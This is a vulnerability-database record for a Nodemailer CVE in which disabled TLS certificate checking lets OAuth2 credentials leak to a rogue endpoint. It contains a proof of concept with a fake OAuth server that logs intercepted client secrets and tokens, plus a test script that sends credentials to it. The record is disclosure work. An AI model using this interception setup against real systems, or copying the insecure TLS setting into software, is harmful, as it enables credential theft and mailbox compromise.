{"schema":"threatline.record/2","record":{"id":"CVE-2026-82662","aliases":["GHSA-r7g4-qg5f-qqm2"],"summary":"Nodemailer: Improper TLS Certificate Validation in OAuth2 Token Fetch Enables Credential Interception","details":"### Summary\nNodemailer disables TLS certificate verification in its internal HTTPS fetch client through the use of rejectUnauthorized: false inside lib/fetch/index.js.\n\nAs a result, OAuth2 token requests trust invalid or self-signed HTTPS certificates and transmit sensitive OAuth credentials over connections that should fail TLS validation.\n\nAn attacker in a machine-in-the-middle position can intercept OAuth2 credential exchanges and capture:\n\n- OAuth client_secret\n- refresh_token\n- access tokens\n\nThe issue was verified through runtime testing using a self-signed HTTPS OAuth endpoint.\n\n### Details\nRoot Cause\n\nThe issue originates from the internal HTTPS fetch implementation used by Nodemailer for OAuth2 token retrieval and related outbound HTTPS requests.\n\nInside:\n\n`lib/fetch/index.js`\n\nthe request options contain:\n\n`rejectUnauthorized: false`\n\nThis disables TLS peer certificate verification globally for the internal HTTPS client unless explicitly overridden through optional TLS configuration.\n\nAs a result:\n\n- self-signed certificates are trusted\n- invalid CA chains are accepted\n- hostname validation is bypassed\n- attacker-controlled HTTPS endpoints are treated as trusted\n\nThis violates expected HTTPS security guarantees.\n\n**Vulnerable Flow**\n\nThe vulnerable execution chain is:\n\nOAuth2 Transport\n        ↓\nXOAuth2 token generation\n        ↓\nInternal HTTPS fetch client\n        ↓\nHTTPS request with rejectUnauthorized:false\n        ↓\nAttacker-controlled/self-signed endpoint trusted\n        ↓\nOAuth credentials **transmitted**\n\n\n### PoC\n**Environment**\n#### Mail API (app/server.js)\n```\nconst express = require(\"express\");\nconst nodemailer = require(\"nodemailer\");\nrequire(\"dotenv\").config();\n\nconst app = express();\n\napp.use(express.json());\n\nconst transporter = nodemailer.createTransport({\n    host: process.env.SMTP_HOST,\n    port: process.env.SMTP_PORT,\n    secure: false,\n    auth: {\n        user: process.env.SMTP_USER,\n        pass: process.env.SMTP_PASS\n    }\n});\n\napp.post(\"/send\", async (req, res) => {\n    try {\n        const { to, subject, text, html } = req.body;\n\n        const info = await transporter.sendMail({\n            from: `\"Mailer\" <${process.env.SMTP_USER}>`,\n            to,\n            subject,\n            text,\n            html\n        });\n\n        res.json({\n            success: true,\n            messageId: info.messageId\n        });\n\n    } catch (err) {\n        console.error(err);\n        res.status(500).json({\n            success: false,\n            error: err.message\n        });\n    }\n});\n\napp.listen(process.env.PORT, () => {\n    console.log(`Mailer running on port ${process.env.PORT}`);\n});\n```\n\n#### Malicious HTTPS OAuth Server (poc/evil-oauth.js)\n\n```\nconst https = require('https');\nconst fs = require('fs');\n\nhttps.createServer({\n    key: fs.readFileSync('./key.pem'),\n    cert: fs.readFileSync('./cert.pem')\n}, (req, res) => {\n\n    console.log('\\n==== REQUEST INTERCEPTED ====');\n    console.log(req.method, req.url);\n\n    let body = '';\n\n    req.on('data', chunk => {\n        body += chunk;\n    });\n\n    req.on('end', () => {\n\n        console.log('\\nPOST BODY:');\n        console.log(body);\n\n        res.writeHead(200, {\n            'Content-Type': 'application/json'\n        });\n\n        res.end(JSON.stringify({\n            access_token: 'attacker_token',\n            expires_in: 3600\n        }));\n    });\n\n}).listen(8443, () => {\n    console.log('Malicious HTTPS OAuth server listening on 8443');\n});\n```\n\n#### Nodemailer OAuth2 Test (test.js)\n\n```\nconst nodemailer = require('./');\n\nconst transporter = nodemailer.createTransport({\n    service: 'gmail',\n\n    auth: {\n        type: 'OAuth2',\n\n        user: 'redacted@example.com',\n\n        clientId: 'CLIENT_ID_REDACTED',\n        clientSecret: 'CLIENT_SECRET_REDACTED',\n\n        refreshToken: 'REFRESH_TOKEN_REDACTED',\n\n        accessUrl: 'https://localhost:8443/token'\n    }\n});\n\ntransporter.sendMail({\n    from: 'redacted@example.com',\n    to: 'redacted@example.com',\n    subject: 'PoC',\n    text: 'test'\n\n}, (err, info) => {\n\n    console.log('\\n==== NODEMAILER RESULT ====');\n\n    if (err) {\n        console.error(err);\n    } else {\n        console.log(info);\n    }\n});\n```\n**Steps to Reproduce**\n\n- Start malicious HTTPS OAuth server:\n- node poc/evil-oauth.js\n- Run Nodemailer OAuth2 test:\n- node test.js\n- Observe intercepted OAuth2 request body on the malicious HTTPS server.\n\n**PIC**\n<img width=\"1919\" height=\"1029\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fdeafeb4-c0c5-49f8-beeb-e7f945be0516\" />\n\n### Impact\n\n- OAuth credential theft\n- unauthorized email access\n- persistent token abuse\n- unauthorized mail sending\n- mailbox compromise\n- interception/tampering of OAuth responses\n\nThe issue effectively downgrades HTTPS security protections for sensitive OAuth credential exchanges.","categories":["Libraries & packages"],"product":"nodemailer","vendor":"nodemailer","ecosystem":"npm","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-r7g4-qg5f-qqm2","source_modified_at":"2026-10-05T22:51:58Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"nodemailer"},"range":"<= 8.0.7"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-82662","source_modified_at":"2026-09-01T15:00:58.358Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"nodemailer","vendor":"nodemailer","versions":[{"version":"0","status":"affected","versionType":"semver","lessThan":"8.0.8"},{"version":"8.0.8","status":"unaffected","versionType":"semver"}],"defaultStatus":"unaffected"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-r7g4-qg5f-qqm2","source_modified_at":"2026-10-05T23:00:05.741897723Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"nodemailer","purl":"pkg:npm/nodemailer"},"ranges":[{"events":[{"introduced":"0"},{"fixed":"8.0.8"}],"type":"SEMVER"}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-r7g4-qg5f-qqm2","source_modified_at":"2026-10-05T22:51:58Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"nodemailer"},"version":"8.0.8"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-82662","source_modified_at":"2026-09-01T15:00:58.358Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"nodemailer","ecosystem":null},"version":"8.0.8","basis":"first unaffected version stated in the CVE record"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-r7g4-qg5f-qqm2","source_modified_at":"2026-10-05T23:00:05.741897723Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"nodemailer","purl":"pkg:npm/nodemailer"},"version":"8.0.8"}],"cvss":8.3,"severity":"High","kev":{"listed":false},"epss":{"probability":0.00192,"percentile":0.0841,"score_date":"2026-10-23"},"published_at":"2026-08-31T08:46:26.978Z","modified_at":"2026-10-05T23:00:05.741897723Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-r7g4-qg5f-qqm2","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-05T22:51:58Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-82662","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-09-01T15:00:58.358Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-r7g4-qg5f-qqm2","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-05T23:00:05.741897723Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-82662","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/nodemailer/nodemailer/security/advisories/GHSA-r7g4-qg5f-qqm2","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-82662","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://www.vulncheck.com/advisories/nodemailer-before-8.0.8-tls-certificate-validation-bypass","tags":["third-party-advisory"]},{"url":"https://github.com/advisories/GHSA-r7g4-qg5f-qqm2","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"partial","assessed_at":"2026-09-01T14:59:57.666500Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-05T23:00:05.741897723Z","content_hash":"6772ebc76d7f706e9f3998b5a1cbdd2828a1d56465ee3bd2d7bbc369eff5e09a"}}
